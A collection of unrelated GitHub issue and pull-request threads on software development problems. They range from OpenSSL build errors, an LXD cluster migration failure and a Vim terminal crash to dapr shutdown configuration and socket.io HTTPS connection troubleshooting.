Remove SecurityKey from signature validation delegate's result

Introduced TokenValidationUnit type to represent void return types from the generic ValidationResult
Removed SecurityKey from the return value of the signature validation delegate

Notes: The Unit type is required in order to return "void" from a generic, since we cannot write ValidationResult<void> in C#. This change simplifies the signature validation delegate by removing the SecurityKey return type, which is no longer needed.
This work is part of #2911.

Dropping this to avoid adding a new type.


Allow redirect domains for passenger stack as well

/cc @berkes

:+1: somewhere in the rebasing and cleaning up, this part has slipped out. Sorry.


Instalation instructions

Hi, could you please add description how to install this on home-assistant?

Hi, Sorry i only using IoBroker.
I have no experience with home-assistant.


Cannot load local images as css background

After trying the options on #119 (and with/without url("")) I'm not able to use a local image as background-image in the css.
The html is working before converting to pdf, and it works with online images, changing the base in configuration or using absolute paths (file///...) doesn't seem to fix the problem

I was able to make it work by using the full path (file:/// ...) inside the url:
background-image: url("file:///home/arthurdent/images/myimage.jpg");


Python 3.6 Support

Python 3.6 was officially released in late December. As of 1/23/17, the official "What's New" notes were released. We should consider building against Python 3.6 as well as 3.4 and 3.5.
I did not see anything on the notes which would be show stopper in terms of changes, but the following changes may affect some packages.

**kwargs ordering is now respected
Class Attribute Definition Order is preserved
Windows filesystem and console encoding is UTF-8
There are a few deprecated methods worth looking over.

There may of course be other things that break, but I think its worth discussing to eventually start support.

cc #663

Ah, missed that. Duplicate then


Implement the first version of the simulator

This pull request introduces the implementation of the theory explained in https://github.com/dic-iit/matlab-whole-body-simulators/issues/1. The implementation is done using  a matlab.System, that enables the use of Classes in simulink.

Robot class: it exploits the iDynTree wrappers to compute Kinematic and Dynamic quantities. It also computes the forward dynamics.
Contacts class: handles the computation of the contact forces and the impact.
State class: takes care of the numerical integration of the system configuration (specifying a fixed time step).

These classes are used in the step_block
The visualization employes the iDyntree Matlab visualizer and is managed by the Visualizer matlab.System.
To run an example just open and run the test_matlab_system.mdl model. Here there is a dummy torque control that generates torques that are sent to the robot block.

This block takes as input the generalized_external_forces (i.e. $J ^\top f$) and the computed torques. The output is the robot state composed by ${^w} H_b$, $s$, $v_b$, $\dot{s}$ and the contact wrenches expressed in the left and right sole frames (in order to simulate the FTs on these frames).

I think it may be beneficial to explain which kind of Simulink block the Robot block is, as (at a first glance) it seems to be a discrete time Simulink block that inside itself integrates a continuous model using the MATLAB's integrators (even variable step, if requested), and it may be not obvious for people used to continuous simulink blocks that use insted directly Simulink's integrator for integration of the dynamics.
Furthermore, this choice can create numerical problems when this system is coupled with another stiff system, as given that Simulink's integrator is not aware of the internal integrator of the step_block block, it cannot properly evalute the overall system numeric error. Using FMI's jargon in this form the block permits to do "Co-Simulation" with the simulator, i.e.:

but does not permit to do "Model Exchange", as the solver is integrated in the model itself:

Nice progress @Giulero 🚀 and thanks @traversaro for highlighting some simulator peculiarities. I  believe that we should discuss about them, since it is important to give the simulator the possibility to implement the Model Exchange paradigm. To implement it at least for the robot actuation, probably, this could be done by making other subclasses of Robot, like link and actuation classes? Anyways, we could discuss about this in a F2F meeting, please @Giulero call for it with @traversaro and anyone who would like to partecipate @dic-iit/dynamic-interaction-control

Furthermore, this choice can create numerical problems when this system is coupled with another stiff system, as given that Simulink's integrator is not aware of the internal integrator of the step_block block, it cannot properly evalute the overall system numeric error.

Thanks @traversaro! Yes, I was aware of this. My initial idea was to implement something external to simulink (also in order to specify a different integration time step, but maybe with atomic units we can reach the same result) and keep separate as much as possible the controller and the simulated system.

P.S. These additional simulation features should not block the merge of the current implementation. We may integrate them in future PRs.

I totally agree!

Furthermore, this choice can create numerical problems when this system is coupled with another stiff system, as given that Simulink's integrator is not aware of the internal integrator of the step_block block, it cannot properly evalute the overall system numeric error.

Thanks @traversaro! Yes, I was aware of this. My initial idea was to implement something external to simulink (also in order to specify a different integration time step, but maybe with atomic units we can reach the same result) and keep separate as much as possible the controller and the simulated system.

Ack, I see. My personal impression that the proper way to do so is to use the appropriate features of Simulink for that, to be able to do so while keeping the flexibility of combining the models with more "blocks" related to the simulated system.

To implement it at least for the robot actuation, probably, this could be done by making other subclasses of Robot, like link and actuation classes?

@traversaro

just my personal impression here and I am be not accounting for some aspect (both functional and non-functional), but Simulink already provides a powerful enviroment to interconnect and integrate with the same variable step integrator multiple continuous time dynamical system, and I think it would make sense to exploit it, rather then try to reimplement a scaled down version of it in Matlab.

Indeed, we can go through these aspects in the F2F meeting, so we will understand if the Simulink features concerning integrator integration fit well our research directions (it would be great), or if we have to proceed along other ways given the specific use case

Thanks for the review! Merging.


Adds live updates to pinned documentation

Hi,
first of all: nice extension. I noticed that the current pinning behavior is more like a freeze because it just prevents the documentation text from being updated. This PR aims to allow to display updates of the pinned documentation in real time.
Main Changes:

The DocsViewViewProvider.pinned property was replaced by a pin property which now holds the relevant data for the pin. If no pin is set the position and document property are undefined.
When retrieving new documentation info the info of the pinned location is retrieved when set.
The pin can display a marker (very useful for debugging). The marker color aswell as the display of the marker overall can be configured. (see readme updates)

Sorry in advance for the rather messy code. Afaik the vscode extensions api doesn't offer a solution to markers outside of decorations which you can't retrieve the location of when changes appear. And since I didn't want to introduce any 3rd party software I implemented tracking of marker position changes myself.
Also when removing already set decorations the vscode extensions api uses the reference (key) of the createdTextDecoration to identify which is why the pinned property keeps a reference to the current markerStyle at all times.
I did manual tests using typescript files, I can provide a video of the feature if requested. The linting command failed to run at all for me for some reason (did not dig into it).
PS: tests and a prettier configuration for auto formatting would make contributing to this project easier imo.
A review would be much appreciated ✌

Thanks for the PR
However this looks like quite complicated solution for something that AFAIK I have not seen user requests for. Pinning to me means pinning the view content, not sticking a pin in a given document location and tracking live updates to that. I would not want edits to change pinned documentation just because the symbol under the pin has changed
Can you explain the motivating use case / workflow for this?

Closing this due to lack of additional feedback. Let me know if you'd like to discuss this feature further though


Copy to clipboard is not working

Steps to reproduce:

Go to devices page
Click "Add Device" button
Click copy button in the dialog

Closed in 6b505b4f650217870a80cefd054cde946eef214b


Zombie Update [WIP]

Setting the wheels in motion to update Zombie from 2.* to 4.*

Zombie 4 requires Node.js 4, so this branch includes changes to require Node.js 4 in the package.json and remove Travis CI tests for Node.js 0.12.

From the Travis tests, it looks like the D7 Behat JavaScript test are failing, while the D8 Behat JavaScript test is passing.
D7 failure: https://travis-ci.org/phase2/grunt-drupal-tasks/jobs/111881012#L2021
D8 success: https://travis-ci.org/phase2/grunt-drupal-tasks/jobs/111881013#L1911
The D7 Behat JavaScript test relies on the Overlay module, which may not be the best test case.

Currently, Zombie 4 works with Node 4/npm 2, but fails with Node 5/npm 3 with the error:
Error: Cannot find module 'zombie/node_modules/tough-cookie'

This can be fixed with the following PR: https://github.com/minkphp/MinkZombieDriver/pull/168

This has been merged into the v1.0.0-pre branch.
This test run has an example of the fix with the PR to MinkZombieDriver mentioned above: https://travis-ci.org/phase2/grunt-drupal-tasks/builds/121827772


Network Weasel Repl?

Sorry if my understanding is wrong, but is it possible to run Weasel in such a way that it listens on some port (as nREPL does) and does not occupy the stdin? I like to have only one clojure app (repl) session runnging with all the related processes like Figwheel in the background and using remote repl (in IntelliJ IDEA+Cursive) to connect to an environment. This also doesn't require to start brepl manually every time.

I'm not quite sure what you're asking, sorry. You might be able to configure Leiningen to launch Piggieback + Weasel when nREPL starts (see https://github.com/technomancy/leiningen/blob/master/sample.project.clj#L335). Then all of that project's REPLs would be ClojureScript though...

I think this is actually a piggieback or leiningen question... try running lein repl :headless, optionally backgrounding it. When you connect to the Leiningen nREPL (using lein repl :connect or from Cursive), start the Weasel REPL in the usual way.
I'm closing as I don't think this is a Weasel issue (I don't think Weasel is even aware of stdin). Please don't hesitate to comment if you have further questions, or for better turnaround ask in the #clojure or #clojurescript IRC channels.


Docs: add whitespace

The current style is correct.

The em dash is typically used without spaces on either side.

http://www.thepunctuationguide.com/em-dash.html


Feat/ts types build

@LucasDemea Could you have a look at this branch, it uses rollup to generate compressed/merged js and d.ts files with rollup.

There are some unnecessary steps. You don't need a specific tsconfig for types. Instead you can use the declarationDir property.
I can handle the bundle config if you want, as I already did in previous commits.
If you need a GH action workflow to build and deploy to npm, I can handle this too.

I'd also suggest to use a release such as release-please or semantic-release to automate the semver based on semantic commits.

Is there a reason for not keeping the .lock file versioned ?

Indeed I think dts plugin is required to merge types, but I think we can still manage a config not involving a specific tsconfig for types. I'll check this when I'll get some time.

I such case, I propose to merge that branch and create a new PR if a better and simpler approach is found.


[RaisedButton] 0.18.4 adds overflow:hidden; style to containerElement, breaks layout

The latest release 0.18.4 adds overflow: hidden; to a containerElement on RaisedButton. This is not happening with 0.18.3. It increases the height of the button and displays a white border at the bottom of the button,
Also checked FlatButton, which still works properly.
Here is a link to a reproduction:
https://www.webpackbin.com/bins/-KnZlC-OMVsBCErCmgGD
EDIT: for convenience, here is a link to webpackbin with 0.18.3
https://www.webpackbin.com/bins/-KnZuTGm_5ZPX8yRYMgR

#7158 introduced this

And this bug is in online document http://www.material-ui.com/#/components/raised-button


Improve fast refresh + hot-reload experience

We'd like to persist the screen we're working on during development so that every change doesn't result in an app reload - this may help: https://reactnavigation.org/docs/state-persistence/.
I also wonder if Fast Refresh is actually working, or something is knocking it out, as every change seems to result in a complete app refresh 🤔

https://github.com/expo/router/discussions/521


fix non minified invalid rapidoc.js build

Built Rapidoc file rapidoc.js was invalid due to a concatenation not ending a comment

Thanks for your contribution !!!


More gpu_cache improvements

With this pr I've

Added a new gpu_cache benchmark using multiple fonts
Simplified code by reducing private struct PGlyphSpec to only having fields needed for tree-ordering, and renaming to GlyphScaleOffset. This also removes some unnecessary tree comparisons in the Ord impl.
Moved all in-line scale.x / offset.y usage to methods GlyphScaleOffset::matches, GlyphScaleOffset::match_distance. This simplifies the large cached_queued & rect_for methods.
Optimise in_use_rows set by pre-allocating row capacity. I experimented with using fnv hashing for this set, but left it default as fnv seemed to slow down some benchmarks - I'm not sure why this is.

Overall this gives gpu_cache another small boost
name                                                              control ns/iter  change ns/iter  diff ns/iter  diff %  speedup
gpu_cache::cache_bench_tests::cache_bench_tolerance_1             1,943,449        1,839,792           -103,657  -5.33%   x 1.06
gpu_cache::cache_bench_tests::cache_bench_tolerance_p1            4,080,448        3,998,651            -81,797  -2.00%   x 1.02
gpu_cache::cache_bench_tests::cache_bench_tolerance_p1_multifont  3,707,505        3,562,775           -144,730  -3.90%   x 1.04

@alexheretic if you are ready for a 0.5 release, we can merge this and do it

@jackpot51 I'd like to merge @jimblandy's #100 too for 0.5, as I think its a nice improvement. The gpu-cache padding stuff I'm investigating can wait if you'd like to release soon.
I think we can get #100 merged today and release.

Sounds good!


add CHATHISTORY and HISTORY implementations

This has a zillion edge cases. Hopefully it's not risky, though. If you set chathistory-maxmessages: 0, CHATHISTORY will no longer be advertised in isupport (and will fail fast if invoked).
HISTORY is grove.io's command but with an explicit target argument.
This script was somewhat helpful for testing: https://gist.github.com/slingamn/da2f94eccead0edb38516b919d359c1d

Overall looks pretty good. We'll need to add some more explicit info about how this stores data and what data it stores to the config file, if we don't already go pretty in-depth on that side of things.

Alright, happy merging this in as-is after the review fixes. The history questions raised in the config file discussion are going to take some time and/or work to answer, but yeah we can work on that. Noice!


Update URL format in csv.mk

[Resolves #5]
This seems to run to completion now, though I haven't used this repo with the old URLs so I can't verify the outputs by myself.
I tried to simplify the Makefile a bit given that the URL paths are more standard now, but there could be more simplification that could be done here.

Thanks for this @thcrock.

Looks like this is superseded by #7?


Do a shallow git fetch instead of full fetch

Doing a shallow git fetch is a lot faster and lets the script run much more quickly without affecting the script's behavior

@codekansas Thanks for your contribution,
For future contributions please align to our contribution  guide and base & target the changes to development branch
@dmipx looks like a nice optimization right?
Can be also updated in our kernel 5.13/5.15 script

Yeah, I was just following the install instructions and found this change made it go a lot faster, and I thought it'd be immediately useful for other people. It's a pretty minimal change so I just figured I'd throw it over the wall (I think there's other scripts which also fetch the entire Ubutu repo that would benefit but I wasn't trying them out). I'll be sure to use the development branch if I do end up making deeper changes later

Closing this PR in favor of the other one (which is based off my fork's development branch): https://github.com/IntelRealSense/librealsense/pull/11041


codecov

Updated Github actions to use codecov

Codecov Report

:exclamation: No coverage uploaded for pull request base (develop@29b8425). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             develop       #3   +/-   ##
==========================================
  Coverage           ?   85.96%
==========================================
  Files              ?        8
  Lines              ?       57
  Branches           ?        4
==========================================
  Hits               ?       49
  Misses             ?        7
  Partials           ?        1

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 29b8425...c5bf18a. Read the comment docs.


Support BIP32 wallets during deployment

Input would need a seed and a derivation path. Should likely support the option of putting the seed in a separate file. Might want to create a web3 provider that handles this for us, as others could use it as well.

This is now available by using a custom provider (undocumented on readthedocs, but documented here: http://truffleframework.com/tutorials/using-infura-custom-provider). Closing.


Fatal error LNK1112: module machine type 'x86' conflicts with target machine type 'x64'

Hello all,
I'm trying to build the OpenSSL library on Windows 10 and I get the following error when running nmake:  "lib" /nologo /out:providers\libdefault_static.lib @C:\Users\jcava\AppData\Local\Temp\nmF1AF.tmp providers\common\libdefault-lib-bio_prov.obj : fatal error LNK1112: module machine type 'x86' conflicts with target machine type 'x64'
Here is how I configure:
perl Configure VC-WIN64A
I am running this in an x64 Native Tools command prompt for VS2019

The normal cause of this is configuring your toolchain for 32-bit builds but configuring OpenSSL for a 64-bit build.
See this page for information on using VS tools from the command line:
https://docs.microsoft.com/en-gb/cpp/build/building-on-the-command-line?view=msvc-160
Note there are different variants of the developer command prompt for doing 32-bit vs 64-bit builds. Since you are attempting a 64-bit OpenSSL build make sure you use a compatible developer command prompt

I am running this in an x64 Native Tools

This suggests a 64-bit toolchain - but the evidence from the error output shows otherwise. Is it possible that an earlier attempt using the wrong toolchain has not been cleaned away?
I'd suggest starting again with clean sources, e.g. "nmake clean"

I met the same problem today and i solved it with mattcaswell's suggestion combining some personal tips(the upper friendly guyXD), Here is my solution: x64 Native Tools Command Prompt(startLocation cant change by 'cd' command so gave up) → try VS2019 cmd → nmake(crack) → nmake test(crack) → nmake clean → open file location of x64's then rightClick to modify its property, change the starting location beneath the Target → reran x64 Native Tools Command Prompt → nmake(√) → nmake test(pass)
First i ran with x64 Native Tools Command Prompt for VS2019 but i found its starting location(default in IDE) is not the place where i downloaded OpenSSL and their drive letters are diffirent, so 'cd' command didnt work, but finally i found compulsorily adjust x64's start address is all right.

Marking as inactive, to be closed at the end of 3.4 dev barring further input

I think the question has been answered so we can just close this.


Problem: the '--ledger-cadence' command line switch is ignored

time ./target/release/mina-indexer server start -s /mnt/mina-log-storage/mina_network_block_data/ -d ./full-database --log-dir ./full-logs --ledger-cadence 10
The above command does not result in progress every 10 blocks, as expected from the '--ledger-cadence' setting. Rather, the following is found in the log:
2024-03-06T01:10:19.336773Z  INFO mina_indexer::state: Parsed and added 5000 blocks to the witness tree in<PHONE_NUMBER>84s

... and no similar entries beforehand, suggesting that a ledger cadence of 5000 is being used.

@Isaac-DeFrain worked on this recently, if I am not mistaken.

@robinbb you have a misunderstanding of what that flag does. It's the cadence at which we persist a the ledger into Rocks. Setting this value to 1 will result in a ledger being stored at each blockchain height.
      --ledger-cadence <LEDGER_CADENCE>
          Cadence for computing and storing ledgers [default: 100]

Ouch. That's a new problem!


Error: Migration operation failure: Failed to relink container database data: failed to update container's volume name: failed to receive response: failed to receive header: failed to receive header: EOF

Required information

Distribution: Ubuntu
Distribution version: 18.04
$ lxc info

config:
  core.https_address: <IP_ADDRESS>:8443
  core.trust_password: true
  images.auto_update_interval: "15"
api_extensions:
- storage_zfs_remove_snapshots
- container_host_shutdown_timeout
- container_stop_priority
- container_syscall_filtering
- auth_pki
- container_last_used_at
- etag
- patch
- usb_devices
- https_allowed_credentials
- image_compression_algorithm
- directory_manipulation
- container_cpu_time
- storage_zfs_use_refquota
- storage_lvm_mount_options
- network
- profile_usedby
- container_push
- container_exec_recording
- certificate_update
- container_exec_signal_handling
- gpu_devices
- container_image_properties
- migration_progress
- id_map
- network_firewall_filtering
- network_routes
- storage
- file_delete
- file_append
- network_dhcp_expiry
- storage_lvm_vg_rename
- storage_lvm_thinpool_rename
- network_vlan
- image_create_aliases
- container_stateless_copy
- container_only_migration
- storage_zfs_clone_copy
- unix_device_rename
- storage_lvm_use_thinpool
- storage_rsync_bwlimit
- network_vxlan_interface
- storage_btrfs_mount_options
- entity_description
- image_force_refresh
- storage_lvm_lv_resizing
- id_map_base
- file_symlinks
- container_push_target
- network_vlan_physical
- storage_images_delete
- container_edit_metadata
- container_snapshot_stateful_migration
- storage_driver_ceph
- storage_ceph_user_name
- resource_limits
- storage_volatile_initial_source
- storage_ceph_force_osd_reuse
- storage_block_filesystem_btrfs
- resources
- kernel_limits
- storage_api_volume_rename
- macaroon_authentication
- network_sriov
- console
- restrict_devlxd
- migration_pre_copy
- infiniband
- maas_network
- devlxd_events
- proxy
- network_dhcp_gateway
- file_get_symlink
- network_leases
- unix_device_hotplug
- storage_api_local_volume_handling
- operation_description
- clustering
- event_lifecycle
- storage_api_remote_volume_handling
- nvidia_runtime
- candid_authentication
api_status: stable
api_version: "1.0"
auth: trusted
public: false
auth_methods:
- tls
environment:
  addresses:
  - <IP_ADDRESS>:8443
  architectures:
  - x86_64
  - i686
  driver: lxc
  driver_version: 3.0.2
  kernel: Linux
  kernel_architecture: x86_64
  kernel_version: 4.15.0-33-generic
  server: lxd
  server_pid: 30658
  server_version: 3.0.2
  storage: ceph
  storage_version: ceph version 12.2.7 (3ec878d1e53e1aeb47a9f619c49d9e7c0aa384d5)
    luminous (stable)
  server_clustered: true
  server_name: node1

Issue description
unable to move a container to another node in the cluster. container has a ceph storage backend and is not renamed just moved to another node.
Steps to reproduce
$ lxc move container1 --target node2
Error: Migration operation failure: Failed to relink container database data: failed to update container's volume name: failed to receive response: failed to receive header: failed to receive header: EOF

Looks like that error comes from https://github.com/lxc/lxd/blob/master/lxd/db/containers.go#L450
trying to run the sql query via lxd sql global also fails:
$ lxd sql global "UPDATE storage_volumes SET name='container1' WHERE name='container1' AND storage_pool_id=1 AND type=0"
Error: Failed to exec query: failed to receive response: failed to receive header: failed to receive header: EOF

$ sqlite3 db.bin
UPDATE storage_volumes SET name='container1' WHERE name='container1' AND storage_pool_id=1 AND type=0;

works without any errors, however in this situation the sql query is a noop since the container was not renamed just moved to another node. Why is that query run at all?

The query failing suggests that something's not quite right with your cluster's database.
I'd recommend you restart LXD on all nodes and try the query again to see if that solves that particular issue.
If using the snap, run systemctl reload snap.lxd.daemon, if using the deb run systemctl restart lxd.

restarting lxd on all nodes did not help.

Can you run lxc monitor in a shell while running the lxd sql global query? See if maybe some more details are captured on the server side?

here the output of monitor:
metadata:
  context: {}
  level: warn
  message: 'Failed to rollback transaction after error (failed to update container''s
    volume name: failed to receive response: failed to receive header: failed to receive
    header: EOF): failed to receive response: failed to receive header: failed to
    receive header: EOF'
node: 21
timestamp: "2018-11-21T20:07:29.896833621Z"
type: logging

metadata:
  context: {}
  level: dbug
  message: 'Failure for task operation: 976eeb62-2080-4d13-8c0f-98348e922311: Failed
    to relink container database data: failed to update container''s volume name:
    failed to receive response: failed to receive header: failed to receive header:
    EOF'
node: 21
timestamp: "2018-11-21T20:07:29.896982987Z"
type: logging

metadata:
  context: {}
  level: dbug
  message: 'Database error: failed to update container''s volume name: failed to receive
    response: failed to receive header: failed to receive header: EOF'
node: 21
timestamp: "2018-11-21T20:07:29.896912616Z"
type: logging

whats strange is that i can update the description field without issues:
lxd sql global "UPDATE storage_volumes SET description='' WHERE name='container' AND storage_pool_id=1 AND type=0"
Rows affected: 19

Odd, smells like something weird going on in dqlite (@freeekanayaka)
I've got a pull request up that bypasses this particular bit of code if the value match, so that should take care of the issue.

I could not reproduce the query failure:
free@x1:~$ LXD_DIR=/tmp/lxd sudo -E /home/free/go/bin/lxd sql global "SELECT * FROM storage_volumes"
+----+------+-----------------+---------+------+-------------+----------+------------+
| id | name | storage_pool_id | node_id | type | description | snapshot | project_id |
+----+------+-----------------+---------+------+-------------+----------+------------+
| 1  | c1   | 1               | 1       | 0    |             | 0        | 1          |
+----+------+-----------------+---------+------+-------------+----------+------------+
free@x1:~$ LXD_DIR=/tmp/lxd sudo -E /home/free/go/bin/lxd sql global "UPDATE storage_volumes SET name='c1' WHERE name='c1' AND storage_pool_id=1 AND type=0"
Rows affected: 1
free@x1:~$

@bit if are you still able to reproduce this, would you mind sending me a tarball of your $LXD_DIR/database directory? free at canonical dot com


Vim core dumps when resizing past window boundaries

Describe the bug
Vim core dumps when resizing past window boundaries.
To Reproduce
Detailed steps to reproduce the behavior:

Run vim --clean
Create a terminal buffer with :terminal
Shrink the terminal buffer with ctrl-w 10- and again ctrl-w 10- and again... until core dump

Expected behavior
I expected the window to stop shrinking once it got to the edge.
Environment (please complete the following information):

VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Jun 21 2020 16:11:23) Included patches: 1-814
Arch Linux
GNOME Terminal 3.36.2 using VTE 0.60.3 +BIDI +GNUTLS +ICU +SYSTEMD

Additional context
This happens 100% of the time. Also, the core dump breaks mouse usage in the terminal afterwards. Also, Vim has been crashing on me for months whenever I executed window related commands.
coredumpctl info
           PID: 3825 (vim)
           UID: 1000 (variadico)
           GID: 1000 (variadico)
        Signal: 11 (SEGV)
     Timestamp: Thu 2020-07-16 15:14:58 PDT (7min ago)
  Command Line: /usr/bin/vim --clean
    Executable: /usr/bin/vim
 Control Group<EMAIL_ADDRESS>          Unit<EMAIL_ADDRESS>     User Unit: vte-spawn-a5500963-99bb-45a8-9995-be327f00ef1b.scope
         Slice: user-1000.slice
     Owner UID: 1000 (variadico)
       Boot ID: d4931cc800534b66a191536c07be2a87
    Machine ID: d96b874d6bf445e1a3c52c01a6f86be9
      Hostname: foo
       Storage: /var/lib/systemd/coredump/core.vim.1000.d4931cc800534b66a191536c07be2a87.3825.1594937698000000000000.lz4
       Message: Process 3825 (vim) of user 1000 dumped core.

                Stack trace of thread 3825:
                #0  0x00007f6d9877472b kill (libc.so.6 + 0x3c72b)
                #1  0x00005606dc06d061 mch_exit (vim + 0x178061)
                #2  0x00007f6d98913960 __restore_rt (libpthread.so.0 + 0x14960)
                #3  0x00005606dc14e96e n/a (vim + 0x25996e)
                #4  0x00005606dc14fda3 n/a (vim + 0x25ada3)
                #5  0x00005606dc153885 n/a (vim + 0x25e885)
                #6  0x00005606dc14cade vterm_input_write (vim + 0x257ade)
                #7  0x00005606dc10308e write_to_term (vim + 0x20e08e)
                #8  0x00005606dc1899ec n/a (vim + 0x2949ec)
                #9  0x00005606dc18c4d3 channel_parse_messages (vim + 0x2974d3)
                #10 0x00005606dbffb0eb parse_queued_messages (vim + 0x1060eb)
                #11 0x00005606dc113e06 inchar_loop (vim + 0x21ee06)
                #12 0x00005606dc113367 ui_inchar (vim + 0x21e367)
                #13 0x00005606dbffb468 n/a (vim + 0x106468)
                #14 0x00005606dbffc04e n/a (vim + 0x10704e)
                #15 0x00005606dbffd888 vgetc (vim + 0x108888)
                #16 0x00005606dc0fe296 n/a (vim + 0x209296)
                #17 0x00005606dc1048e0 terminal_loop (vim + 0x20f8e0)
                #18 0x00005606dc19b68b main_loop (vim + 0x2a668b)
                #19 0x00005606dc19c304 vim_main2 (vim + 0x2a7304)
                #20 0x00007f6d9875f002 __libc_start_main (libc.so.6 + 0x27002)
                #21 0x00005606dbf5dc4e _start (vim + 0x68c4e)

Try to reproduce on master, because it may have been fixed by one of these:

8.2.0989  crash after resizing a terminal window
8.2.1030  reducing size of a terminal window may cause a crash

Most likely 8.2.1030 fixes this.  Please reopen with more info when it doesn't.


Connect with with https url

When i connect to my server over an https connection my connect fails but works fine over http. I can connect fine over https if i use the native Android socket.io client. So the issue is not with the certificate. Am using Xamarin.Android. I think the issue is also on this SO link, http://stackoverflow.com/questions/4926676/mono-webrequest-fails-with-https

I could not connect over HTTPS too. (The server config is fine as I could connect using an external tool).
I am working on a WinRT Universal app 8.1.
I also tried to set IgnoreServerCertificateValidation to true, without any result.

I my case the issue came from the client side options.
Related to this post:
https://github.com/Quobject/SocketIoClientDotNet/issues/87
By setting those Transport values in my client Options, I could connect over HTTPS:
options.Transports = Quobject.Collections.Immutable.ImmutableList<string>.Empty;
options.Transports = options.Transports.Add("websocket");
options.Transports = options.Transports.Add("flashsocket");
options.Transports = options.Transports.Add("htmlfile");
options.Transports = options.Transports.Add("xhr-polling");
options.Transports = options.Transports.Add("jsonp-polling");

However, even if the server uses a specific port for socket.io communications, I had to not specify the port in my client Uri neither in the client options, otherwise HTTPS connection failed.
(But, for HTTP connection I have to specify the port in both Uri and options).

I changed the library, am using this library,https://github.com/mattleibow/Socket.IO.Client, which a Xamarin binding to the Socket.IO native java client. SSL works fine without a problem


Charles/eopa engine

This PR adds initial support for an EOPA engine. It depends on the upstream PR #92, and should not be merged before that one is.
It includes 3 main components:

The config package has been changed so that if the eopa engine is used, the new helpers in the upstream PR are used to look up the capabilities that are attached to the config.Config type. The engine and version are saved in the config for later use.
The internal/lsp package has been modified to inspect the engine and version from the configuration, and to look up capabilities for use in the internal/lsp/rego package.
A new capabilities package has been added to provide a general-purpose way for Regal to access OPA capabilities. It unifies access to local, remote, and embedded capabilities using URLs. Both config and internal/lsp have been refactored to use this new system.

In summary, capabilities.Lookup() supports loading OPA capabilities in the following ways:

file:// URLs are loaded as JSON from disk, just like specifying from.file.
`http{s}:// URLs are loaded as JSON from a web request, which was not previously supported but has been discussed.
regal:///capabilities/default loads the capabilities using ast.CapabilitiesForThisVersion()
regal:///capabilities/{engine} loads the latest (according to SemVer) capabilities version for the engine
regal:///capabilities/{engine}/{version} loads the specified capabilities version for the engine

Semantic versioning support is implemented using github.com/coreos/go-semver/semver, which is the same library OPA uses for its semver builtins.
The existing from.engine, from.file, and from.version will continue to work, but internally they are translated to URLs so that access to capabilities is consistent everywhere in Regal. from.url has been added as well.
These changes do appear to work, and enable Enterprise OPA specific builtins to appear in the VSCode plugin with only a config change.
Remaining work:

[x] implement additional LSP tests to ensure capabilities loading works as expected
[x] implement additional LSP tests to ensure capabilities hot-reload works as expected
[x] document new capabilities.Lookup functionality
[x] switch to fetching EOPA capabilities JSON during build
[x] refactor LSP to avoid global lock for the rego package

Interestingly, I do see a similar test failure when I run in an Alpine docker container (ARM64). This smells like some concurrency problem to me.


Make the grace period configurable

Please make the grace period configurable.
In what area(s)?

/area runtime

Describe the feature

Please make the grace period (defaultGracefulShutdownDuration) configurable. It's default value is 5sec. This will be helpful for applications which handles SIGTERM and shuts down gracefully by taking its own time (Ex: game servers and other stateful apps). Having only 5sec is causing an issue as the dapr sidecar shuts down well before the main application could stop, right now there is no other way to achieve this through configuration.
Release Note

RELEASE NOTE:

Should we make it configurable or just make default grace to Kubernetes default of 30sec? Basically, does it mean something if app takes too long to shutdown that we would be ignoring if we make it customized?

Making it configurable with a default value of 30sec is good I think. Making it configurable will be useful, so that developer can set it (higher than or equal) to the grace period of the main application, this will make both main application and dapr sidecar containers shut down almost at the same time.

During graceful shutdown, new requests will not be accepted. 5sec may be enough for common cases to finish the incoming request. Making it configurable and limiting it to a maximum of 30s seems better.

/assign

@Taction @tanvigour - This is a docs change also and needs a good description of when and how to use this. Can you raise the docs issue and include the text for this. The doc issue should be PRed at the same time as the code. At the least it should go here https://docs.dapr.io/reference/arguments-annotations-overview/ and maybe I would consider a paragraph in this doc https://docs.dapr.io/operations/hosting/kubernetes/kubernetes-production/

I,ve finished the doc pr.

By having maxGracefulShutdownDuration as 30sec, user will be forced to choose either 5sec or 30sec graceful shutdown period, think of a user who may need a grace period of more than 30sec. If its configurable, user can leave it to default of 5sec or to a value which suits his application requirements. If we don't have this limit, no harm will happen, if user need to set this, he will set it based on his need, else it will default to 5sec.

@hareesh-mandaloju Thanks, sounds reasonable. Setting maxGracefulShutdownDuration to 30sec is because I think this may only be needed to set in Kubernetes and its graceful period is 30sec. I will remove this limit and keep the doc to remind users not to set this value larger than 30sec in Kubernetes.

Yes I agree with @Taction here, if we set this user configurable and user decides to set it greater than 30 sec, we should mention in the doc so users watch out for huge shutdown period that might mask other issues. Also, it might make sense to throw a warning in the code as well if grace period is set beyond 30

@tanvigour Good suggestion, I'll add a warning log later.


feature/TECH 402 kubernetes job deploy step should remove previous helm installation of the job

[x] Catch config exceptions
[x] Delete existing jobs if present
[x] Log stderror on failed process execution
[x] Comment on PR with new release number
[x] Set jenkins build parameters in init stage

📕 TECH-402 Kubernetes Job Deploy step should remove previous helm installation of the job
In the old mpl we did (https://github.com/Vandebron/mpl-modules/blob/ddca7c7b44adb62af8d71ff0b7b92fa95937302e/vars/KubernetesHelmDeploy.groovy#L48-L54)
// Remove existing job if it exists
if (args.isJob) {
    String existingJobs = sh(script: HelmUtil.getHelmListCommand(args.project.name.toLowerCase(), namespace), returnStdout: true)
    if (existingJobs.contains(args.project.name.toLowerCase())) {
        sh HelmUtil.getHelmUninstallCommand(args.project.name.toLowerCase(), namespace, args.dryRun)
    }
}

which we didn’t add in mpyl.
🏗 Build 1 ✅ Successful, started by Sam Theisens
🚀  enrichChargeSessionsJob, job, kong-sync, nodeservice, sbtservice

Is it possible to have these bots append their message to the PR description? Otherwise it's getting a bit hard to check specific commits/see the timeline of changes

Is it possible to have these bots append their message to the PR description? Otherwise it's getting a bit hard to check specific commits/see the timeline of changes

Most github actions don't support that. But we could do it for the build status at least.


Uncaught ReferenceError: exports is not defined

Hi. I have a error when import js into my index.html
Uncaught ReferenceError: exports is not defined
at angular2-indexeddb.ts:11
My versions:
<EMAIL_ADDRESS>"^2.4.0"
"typescript": "~2.0.0"
Can you help me please?
Thanks!

Hi,
Is this one solved???
Thanks!

No :( ... I decided to use AngularFireOffline in my pwa application ... Have you tried localforage? https://github.com/ocombe/angular-localForage

